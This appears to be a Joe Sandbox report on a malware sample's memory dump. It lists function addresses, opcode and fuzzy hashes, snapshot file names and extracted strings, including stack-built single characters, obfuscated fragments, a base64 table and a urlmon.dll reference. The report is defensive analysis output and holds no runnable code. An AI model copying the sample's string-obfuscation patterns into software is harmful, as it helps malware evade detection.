Opcode ID: 3e01a2838f9e8af76457fa9588d2808d7ee8a70c659da85fe1ac773d7e48f191
Instruction ID: 6b94051a36b4c51bbe992600e91787ac01d47139fa045b50e61fee4c47506023
Opcode Fuzzy Hash: 3e01a2838f9e8af76457fa9588d2808d7ee8a70c659da85fe1ac773d7e48f191
Instruction Fuzzy Hash: E40180B2204549BBCB44DE99DC81EDB77ADAF8C714F518209BA0DA3241D670F8518BA4

Function 00CBB3CF Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d2f719afc77c98f415c78b6433e5154ecf834f6c66988360aeac5b7368e463
Instruction ID: 93b0aff8b657848b23e17d85ad717d1ff591b10f9fc60b0e0d8d40b508f52ed9
Opcode Fuzzy Hash: 62d2f719afc77c98f415c78b6433e5154ecf834f6c66988360aeac5b7368e463
Instruction Fuzzy Hash: 7DF0E9B360421627DB105A5EEC82BDAF7DCEB85374F640123FE188B251DB72D85286E0

Function 00CDF918 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a72bd635d080b2c44781fc1dfe5a046bc9839d5fb7f5f73f78da25729e3851
Instruction ID: 7cd79d45d007926051f8aab5f392e0b3cb4e7c05ffe1830c8d07ac8516126319
Opcode Fuzzy Hash: 24a72bd635d080b2c44781fc1dfe5a046bc9839d5fb7f5f73f78da25729e3851
Instruction Fuzzy Hash: C8F01C752002057BC710EF99DC81E9F77ACEFC9710F108419FD08A7241D670B9118BB0

Function 00CE0488 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84c9b89b4cdf1f602563f4f89da99040e5f52e99967f744197380856f61d1e48
Instruction ID: eeda8e539ce7a13be20cb02f91a97d9b34921c1b3909de6dc8635cad60b78d1b
Opcode Fuzzy Hash: 84c9b89b4cdf1f602563f4f89da99040e5f52e99967f744197380856f61d1e48
Instruction Fuzzy Hash: B9E012752442057BD714EE59DC42EDB77ACEFC5711F104419FD08A7242DA70B920CBB4

Function 00CD0498 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89be846e6acdb801e1e10d5853d14547c8bdb10b21dc0ccdd5e974bd5d6dd89b
Instruction ID: f80f9fc6881bf5086d96b3956a92890e8292845a14600ec9d3116dba49de06a4
Opcode Fuzzy Hash: 89be846e6acdb801e1e10d5853d14547c8bdb10b21dc0ccdd5e974bd5d6dd89b
Instruction Fuzzy Hash: 31F08271805208EBDB14CFA8D841BDDBBB4EB04320F20836EE9299B3C0D63497509781

Function 00CE0438 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd7afffb4599489c2e922e741e5df127c6c52b9574b0e89c0ec541112c06f1e
Instruction ID: ded46f760c45af6e72aca0a1834d62e1780f1c6bf4686f6a3a4f88b33acb81e5
Opcode Fuzzy Hash: 1cd7afffb4599489c2e922e741e5df127c6c52b9574b0e89c0ec541112c06f1e
Instruction Fuzzy Hash: 31E09A71200205BFD714EE99DC41E9B37ACEFC9710F000419FD08A7242CA30BC108BB4

Function 00CD0495 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c4fa78e606aaf1bde60ee5b23c48b9f6bf4e51fc476beab7521a3b3a5c58a9
Instruction ID: 30964a6f4ab3409e53abe56ec18a2302bbb5b7dcd23ed4570d2ab1f42916dbcc
Opcode Fuzzy Hash: 98c4fa78e606aaf1bde60ee5b23c48b9f6bf4e51fc476beab7521a3b3a5c58a9
Instruction Fuzzy Hash: 0AE06D71815108ABDB04CFA4D841BADBBA4EB04310F20836EFA19CB380D6398B509795

Function 00CE20B8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6561bcfa02841114a350d91a90c64e50e5e15a921bda01133bc50363453ccafe
Instruction ID: 0d5c7fefad407c89927bdd65df75018ac7475428f31550964b8fdc25d119f1ca
Opcode Fuzzy Hash: 6561bcfa02841114a350d91a90c64e50e5e15a921bda01133bc50363453ccafe
Instruction Fuzzy Hash: E2E04F3260035837D620658A9C06F9BB75C8BC2F70F554068FE18AB281E5A4AD4182E5

Function 00CE0188 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 798d9c3876bce148b54ee63ea797cdf3a6eb52ae3eb05a8af88ddaea95a2db47
Instruction ID: e5bcaf910414a8dd297e2478f0b0ee0d96d3988bccc1fbc64fec88159a311d78
Opcode Fuzzy Hash: 798d9c3876bce148b54ee63ea797cdf3a6eb52ae3eb05a8af88ddaea95a2db47
Instruction Fuzzy Hash: 2AE08C323802187BC220FA5ADC42FDB77ACDFC5B10F114456FA08A7242DA70B9108BF0

Function 00CE1FD8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f88a89632d3a24d29444d332d845c39dab62cebe3f61d83eef54aa04b16102a0
Instruction ID: 14dfecc9f8f00a609caa0d38b1f060625cc9e7185d7497f99da0920a0d177923
Opcode Fuzzy Hash: f88a89632d3a24d29444d332d845c39dab62cebe3f61d83eef54aa04b16102a0
Instruction Fuzzy Hash: AAC012B26003086BDB00EA88CC46FAA339CAB08620F008494BA0C8B282E5B0B95086A5

Function 00CC38D8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb7ddfd1936385b78618dfa913270c96b881e2fdbcd96ea7790672accd437027
Instruction ID: 14079e7e0ca040f77ff74e1a35300b96859b14ac9dc81b00a9f71bf768f65125
Opcode Fuzzy Hash: eb7ddfd1936385b78618dfa913270c96b881e2fdbcd96ea7790672accd437027
Instruction Fuzzy Hash: 1DA012835A00853216107051840587218068053AB1290053464C1940EAA64118403012

Non-executed Functions

Function 00CCC73A Relevance: 51.4, Strings: 41, Instructions: 170COMMON

Download Yara Rule

Strings

@@@@, xrefs: 00CCC8F9
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 00CCC9BB
@@@@, xrefs: 00CCC923
@@@@, xrefs: 00CCC8D6
@@@@@@@@, xrefs: 00CCC987
@@@@, xrefs: 00CCC91C
@@@@, xrefs: 00CCC83D
@@@@, xrefs: 00CCC8AC
@@@@, xrefs: 00CCC88D
@@@@, xrefs: 00CCC8B3
@@@@, xrefs: 00CCC8CF
@@@@, xrefs: 00CCC94D
@@@@, xrefs: 00CCC897
@@@@, xrefs: 00CCC931
@@@@, xrefs: 00CCC8F2
@@@@, xrefs: 00CCC8E4
@@@@, xrefs: 00CCC93F
@@@@, xrefs: 00CCC8C1
@@@@, xrefs: 00CCC92A
@@@@, xrefs: 00CCC8BA
@@@@, xrefs: 00CCC95B
@@@@, xrefs: 00CCC90E
@@@@, xrefs: 00CCC938
@@@@, xrefs: 00CCC970
-./0, xrefs: 00CCC879
%&'(, xrefs: 00CCC865
@@@@, xrefs: 00CCC8EB
@@@@, xrefs: 00CCC907
@@@@, xrefs: 00CCC8DD
)*+,, xrefs: 00CCC86F
@@@@, xrefs: 00CCC8C8
@@@@, xrefs: 00CCC946
@@@@, xrefs: 00CCC962
123@, xrefs: 00CCC883
@@@@, xrefs: 00CCC969
@@@@, xrefs: 00CCC954
@@@@, xrefs: 00CCC915
!"#$, xrefs: 00CCC85B
@@@@, xrefs: 00CCC89E
@@@@, xrefs: 00CCC8A5
@@@@, xrefs: 00CCC900

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 746269e28438d9a129e7424bdea0044086c5739fd2e90d4a98370bb9afe87e1b
Instruction ID: 657b452b52d0812250ee5380ec27f64256df7582c467124eef71604cfa046a4c
Opcode Fuzzy Hash: 746269e28438d9a129e7424bdea0044086c5739fd2e90d4a98370bb9afe87e1b
Instruction Fuzzy Hash: 9391F0F08052A98ACB118F55D4607DEBF71BB95304F1581E9C6AA7B243C3BE4E86DF90

Function 00CBB06F Relevance: 35.1, Strings: 28, Instructions: 52COMMON

Download Yara Rule

Strings

=B|{, xrefs: 00CBB096
;%5, xrefs: 00CBB08F
Rpv~, xrefs: 00CBB0F8
qzbf, xrefs: 00CBB09D
|~p5, xrefs: 00CBB0F1
";&#, xrefs: 00CBB153, 00CBB15C
yyt:, xrefs: 00CBB088
^|a:, xrefs: 00CBB0CE
^]AX, xrefs: 00CBB0E3
Y95y, xrefs: 00CBB0EA
p:!&, xrefs: 00CBB10D
";&#, xrefs: 00CBB137
tstg, xrefs: 00CBB129
Teey, xrefs: 00CBB0C0
Xzo|, xrefs: 00CBB081
#!<5, xrefs: 00CBB0B9
z<5V, xrefs: 00CBB0FF
}gzx, xrefs: 00CBB106
pBpw, xrefs: 00CBB0C7
& ";, xrefs: 00CBB11B
# 5F, xrefs: 00CBB122
&";, xrefs: 00CBB0D5
;%;', xrefs: 00CBB114
5BZB, xrefs: 00CBB0B2
#;&., xrefs: 00CBB0AB
5[A5, xrefs: 00CBB0A4
|: &, xrefs: 00CBB130
&#5=, xrefs: 00CBB0DC

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: &";$ ;%5$";&#$";&#$# 5F$#!<5$#;&.$& ";$&#5=$5BZB$5[A5$;%;'$=B|{$Rpv~$Teey$Xzo|$Y95y$^]AX$^|a:$p:!&$pBpw$qzbf$tstg$yyt:$z<5V$|: &$|~p5$}gzx
API String ID: 0-4206406930
Opcode ID: b168a974cd014e86ec91a4ae7f26ad1fd7009ca532abe67d9d1fe3542386e22f
Instruction ID: 0023867ba5971dc3b7e46110aaf983736b2b5269b28edae5981bdbff91b83b10
Opcode Fuzzy Hash: b168a974cd014e86ec91a4ae7f26ad1fd7009ca532abe67d9d1fe3542386e22f
Instruction Fuzzy Hash: 1221BEB8C002589BCF14CFD6E9816EDBF74BB15340F249649E8296F218D3765A42CF95

Function 00CDA438 Relevance: 34.0, Strings: 27, Instructions: 261COMMON

Download Yara Rule

Strings

i, xrefs: 00CDA6DA
urlmon.dll, xrefs: 00CDA67A, 00CDA67D
s, xrefs: 00CDA4C6
5, xrefs: 00CDA4E4
F, xrefs: 00CDA515
J, xrefs: 00CDA554
), xrefs: 00CDA4DA
E, xrefs: 00CDA4F9
$, xrefs: 00CDA4D0
F, xrefs: 00CDA500
h, xrefs: 00CDA462
Q, xrefs: 00CDA50E
v, xrefs: 00CDA46C
u, xrefs: 00CDA4B2
>, xrefs: 00CDA476
H, xrefs: 00CDA507
g, xrefs: 00CDA4A8
), xrefs: 00CDA480
m, xrefs: 00CDA4EB
}, xrefs: 00CDA4BC
$, xrefs: 00CDA494
}, xrefs: 00CDA49E
%, xrefs: 00CDA61E
., xrefs: 00CDA6D3
w, xrefs: 00CDA4F2
B, xrefs: 00CDA54D
T, xrefs: 00CDA523

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $$$$%$)$)$.$5$>$B$E$F$F$H$J$Q$T$g$h$i$m$s$u$urlmon.dll$v$w$}$}
API String ID: 0-1002149817
Opcode ID: 2a786268bd2638d84069e00c302f8b19ba9fcff3cfe5bf4b339c960285849b61
Instruction ID: 746b21be5432475316bc37144b7f185647292ed7e330d57b4ee9ab527c1eae16
Opcode Fuzzy Hash: 2a786268bd2638d84069e00c302f8b19ba9fcff3cfe5bf4b339c960285849b61
Instruction Fuzzy Hash: 1FC10FB1D002689EDB60DFA5CC45BEEBBB9AF45304F004199E54CAB241D7B54A88DF91

Function 00CC2EE8 Relevance: 28.9, Strings: 23, Instructions: 123COMMON

Download Yara Rule

Strings

X, xrefs: 00CC2F58
9m, xrefs: 00CC2F18
`q, xrefs: 00CC3210
!, xrefs: 00CC2FA8
RA, xrefs: 00CC3180
K, xrefs: 00CC2FF2
1E, xrefs: 00CC2F0A
8Y, xrefs: 00CC31D9
., xrefs: 00CC3006
lv, xrefs: 00CC30CB
J<, xrefs: 00CC307A
`, xrefs: 00CC2F80
a:, xrefs: 00CC31D2
z, xrefs: 00CC2F76
(, xrefs: 00CC3256
Tj, xrefs: 00CC31BD
]/, xrefs: 00CC3084
r., xrefs: 00CC3044
Z, xrefs: 00CC2F03
|, xrefs: 00CC2F4E
?/, xrefs: 00CC3298
J, xrefs: 00CC2F6C
Am, xrefs: 00CC328E

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: !$($.$1E$8Y$9m$?/$Am$J$J<$K$RA$Tj$X$]/$`$`q$a:$lv$r.$z$|$Z
API String ID: 0-2650000396
Opcode ID: 9c37256f0be314324bd4274a84cb0d1950c59a208af0abcb4f4abe4c9aa3ec90
Instruction ID: a911a79d1210a77df796f582b2ee4360bee2eae40751c742096c73ce2b5e15f2
Opcode Fuzzy Hash: 9c37256f0be314324bd4274a84cb0d1950c59a208af0abcb4f4abe4c9aa3ec90
Instruction Fuzzy Hash: 8E9107B0D05669CBFB61CF41C9587DEBAB1BB05308F5081D9C55C3B281DBBA1A89CF91

Function 00CD78B7 Relevance: 25.2, Strings: 20, Instructions: 248COMMON

Download Yara Rule

Strings

l, xrefs: 00CD7991
m, xrefs: 00CD79A6
I, xrefs: 00CD7983
r, xrefs: 00CD7975
2, xrefs: 00CD79C9
\, xrefs: 00CD79AD
l, xrefs: 00CD796E
g, xrefs: 00CD79C2
t, xrefs: 00CD79B4
x, xrefs: 00CD7967
t, xrefs: 00CD7948
, xrefs: 00CD7960
i, xrefs: 00CD7998
r, xrefs: 00CD797C
I, xrefs: 00CD793E
o, xrefs: 00CD799F
r, xrefs: 00CD79BB
t, xrefs: 00CD798A
r, xrefs: 00CD7952
e, xrefs: 00CD7959

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: 79a0fe214aab4116afdfd5c5b1b61d782146de8118546f21da666684b65edaa7
Instruction ID: f0cc1c28f0eb84065cedb2b86e063bf194d52fae79a04127f98bd4eafa2fc3b0
Opcode Fuzzy Hash: 79a0fe214aab4116afdfd5c5b1b61d782146de8118546f21da666684b65edaa7
Instruction Fuzzy Hash: 359154B1900318AAEB20EF95CC81FEEB7BCAF44704F104199F608A6141EB755B89DFA1

Function 00CD32A8 Relevance: 16.4, Strings: 13, Instructions: 189COMMON

Download Yara Rule

Strings

m, xrefs: 00CD3348
s, xrefs: 00CD335D
o, xrefs: 00CD3317
o, xrefs: 00CD333A
P, xrefs: 00CD3333
, xrefs: 00CD3302
l, xrefs: 00CD3356
i, xrefs: 00CD3309
r, xrefs: 00CD3341
x, xrefs: 00CD32E3
F, xrefs: 00CD334F
., xrefs: 00CD32D9
e, xrefs: 00CD3310

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: b173aa15dd592b705441fb702abf348f3a344cff5fd6a9d5ed324c8b58af1050
Instruction ID: 5877c00e373a9f05142a8fda425cfa5d0aa31a6aaf5e7cda87168af7eff0c245
Opcode Fuzzy Hash: b173aa15dd592b705441fb702abf348f3a344cff5fd6a9d5ed324c8b58af1050
Instruction Fuzzy Hash: 7C711DB1D00218AADB25EB95CC81FEEB77CBF18700F04459DF609AA181EB756748DFA1

Function 00CD32A0 Relevance: 16.4, Strings: 13, Instructions: 172COMMON

Download Yara Rule

Strings

m, xrefs: 00CD3348
s, xrefs: 00CD335D
o, xrefs: 00CD3317
o, xrefs: 00CD333A
P, xrefs: 00CD3333
, xrefs: 00CD3302
l, xrefs: 00CD3356
i, xrefs: 00CD3309
r, xrefs: 00CD3341
x, xrefs: 00CD32E3
F, xrefs: 00CD334F
., xrefs: 00CD32D9
e, xrefs: 00CD3310

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 5934b899a55d445d3f66c7b848ed8c4ba5f7e46a195d324a8838b9c97192a2be
Instruction ID: 0f33bd81e8ee485f48532574285956b980ab729bdf01103ef40983cd13226e5f
Opcode Fuzzy Hash: 5934b899a55d445d3f66c7b848ed8c4ba5f7e46a195d324a8838b9c97192a2be
Instruction Fuzzy Hash: ED612DB1D00218AADB25EBA5CC81FEEB77DBF18700F04419DF609AA191EB745748DFA1

Function 00CCE5D8 Relevance: 15.2, Strings: 12, Instructions: 230COMMON

Download Yara Rule

Strings

m, xrefs: 00CCE725
x, xrefs: 00CCE62D
o, xrefs: 00CCE705
", xrefs: 00CCE638
/, xrefs: 00CCE64D
i, xrefs: 00CCE72F
", xrefs: 00CCE63F
e, xrefs: 00CCE739
P, xrefs: 00CCE6FB
., xrefs: 00CCE626
", xrefs: 00CCE646
r, xrefs: 00CCE71B

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: "$"$"$.$/$P$e$i$m$o$r$x
API String ID: 0-2356907671
Opcode ID: 165ba30470c8441a7d813460208a745cab64faadde12e0e4807c3842ed9a2b44
Instruction ID: 4a21c9ac7724d33d61bbbdcae962973e251254a345ff2809d6b7d6864e7c89ef
Opcode Fuzzy Hash: 165ba30470c8441a7d813460208a745cab64faadde12e0e4807c3842ed9a2b44
Instruction Fuzzy Hash: BC81A6B2C403186AEB51EBA5CC82FEF77BCAF44700F044599F608A6141EB755798DFA2

Function 00CC7600 Relevance: 13.8, Strings: 11, Instructions: 89COMMON

Download Yara Rule

Strings

w, xrefs: 00CC7695
e, xrefs: 00CC765F
D, xrefs: 00CC768E
x, xrefs: 00CC763C
e, xrefs: 00CC7658
r, xrefs: 00CC764A
l, xrefs: 00CC7643
i, xrefs: 00CC76A3
\, xrefs: 00CC7635
n, xrefs: 00CC769C
r, xrefs: 00CC7651

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 29532b322de0b58170e34fcfc149eed037805447248473621acccccfd944de1e
Instruction ID: e4ccb5701b4e974bf49a2d0b0381cb76828e834940d96d37d168b935ef40dc4b
Opcode Fuzzy Hash: 29532b322de0b58170e34fcfc149eed037805447248473621acccccfd944de1e
Instruction Fuzzy Hash: 8E3180B1D51218AAEF50DF94CC85FEEBBB9BB08704F00815DF608BA181DBB55648CBA4

Function 00CD7D55 Relevance: 12.8, Strings: 10, Instructions: 341COMMON

Download Yara Rule

Strings

I, xrefs: 00CD7DB3
s, xrefs: 00CD7DE1
:, xrefs: 00CD7DE8
A, xrefs: 00CD7DC5
t, xrefs: 00CD7DCC
:, xrefs: 00CD7E01
m, xrefs: 00CD7DFA
N, xrefs: 00CD7DF3
:, xrefs: 00CD7DBA
P, xrefs: 00CD7DDA

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: 44a8754c376f9405f698a60cff59a901568f3950ee45d89d7b8abadea4613eaa
Instruction ID: 9abe1a26983a3f98d7f25300ff3f588bf59f8f327a7c63dee370bbc491e966de
Opcode Fuzzy Hash: 44a8754c376f9405f698a60cff59a901568f3950ee45d89d7b8abadea4613eaa
Instruction Fuzzy Hash: 55D1DCB2900709ABDB94DFA4CC81FEEB3FCEF48310F444519F219A6241EB79A945CB61

Function 00CD7D58 Relevance: 12.7, Strings: 10, Instructions: 209COMMON

Download Yara Rule

Strings

I, xrefs: 00CD7DB3
s, xrefs: 00CD7DE1
:, xrefs: 00CD7DE8
A, xrefs: 00CD7DC5
t, xrefs: 00CD7DCC
:, xrefs: 00CD7E01
m, xrefs: 00CD7DFA
N, xrefs: 00CD7DF3
:, xrefs: 00CD7DBA
P, xrefs: 00CD7DDA

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: 6bd15d3b50e2150818f1604e8dea0118717eebc54161d7024121cd6113c9010c
Instruction ID: 7384271225cd845e109e1b328791d9671ddb73bbc877f5a103af037e6831ef32
Opcode Fuzzy Hash: 6bd15d3b50e2150818f1604e8dea0118717eebc54161d7024121cd6113c9010c
Instruction Fuzzy Hash: D681E9B1900708AFDB94DFA4C881BEEB7F8FF48310F14451DE219A7241EB79A945CBA5

Function 00CDAC88 Relevance: 8.9, Strings: 7, Instructions: 115COMMON

Download Yara Rule

Strings

c, xrefs: 00CDACF8
e, xrefs: 00CDAD14
l, xrefs: 00CDACFF
a, xrefs: 00CDAD0D
S, xrefs: 00CDAD06
\, xrefs: 00CDAD48
L, xrefs: 00CDACF1

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: L$S$\$a$c$e$l
API String ID: 0-3322591375
Opcode ID: 4ce48506e94f5eb3b96fd1f978c650094e06858cf2a384e24a259c91a4c99e46
Instruction ID: 8d8330458247727a7bde39a35b74edc23ac55f8324bbb33a5cb35facaa666d0f
Opcode Fuzzy Hash: 4ce48506e94f5eb3b96fd1f978c650094e06858cf2a384e24a259c91a4c99e46
Instruction Fuzzy Hash: 6A41B972C10218AACB10DF95CC85BDEB7F9EF48310F05425AE91DA7200E7715A459BD1

Function 00CBAF99 Relevance: 8.8, Strings: 7, Instructions: 48COMMON

Download Yara Rule

Strings

H_@O, xrefs: 00CBB018
]LQ], xrefs: 00CBAFAF
YE@J, xrefs: 00CBAFC4
HYYE, xrefs: 00CBAFE7
), xrefs: 00CBB04B
@JH], xrefs: 00CBAFEE
H]@F, xrefs: 00CBAFCB

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: )$@JH]$HYYE$H]@F$H_@O$YE@J$]LQ]
API String ID: 0-3186573047
Opcode ID: 23f52a954390cabea3b1d3e9972e441162d7b13389e853465dfeb448ac4112eb
Instruction ID: a27b8b6a71d55555cf8462ce9791efa00c72782b02e019d19eac5f6e17377e9f
Opcode Fuzzy Hash: 23f52a954390cabea3b1d3e9972e441162d7b13389e853465dfeb448ac4112eb
Instruction Fuzzy Hash: 8A1100B08002A8AACF05CFD0AA881DEFFB1BF06718F214158D8287F201E7354A868F91

Function 00CBE368 Relevance: 7.5, Strings: 6, Instructions: 43COMMON

Download Yara Rule

Strings

Z, xrefs: 00CBE3AE
H, xrefs: 00CBE3B2
9, xrefs: 00CBE37A
<, xrefs: 00CBE3AA
., xrefs: 00CBE3A2
S, xrefs: 00CBE38A

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: .$9$<$H$S$Z
API String ID: 0-2801059568
Opcode ID: 0bf5c4b8d0c53c640079bc860275fc5d34b790261851eea0833aaad79cd62768
Instruction ID: 515e398688eefa8d2dd0691ebb2e86db809ff12fed59419b7e49091c259fc0ac
Opcode Fuzzy Hash: 0bf5c4b8d0c53c640079bc860275fc5d34b790261851eea0833aaad79cd62768
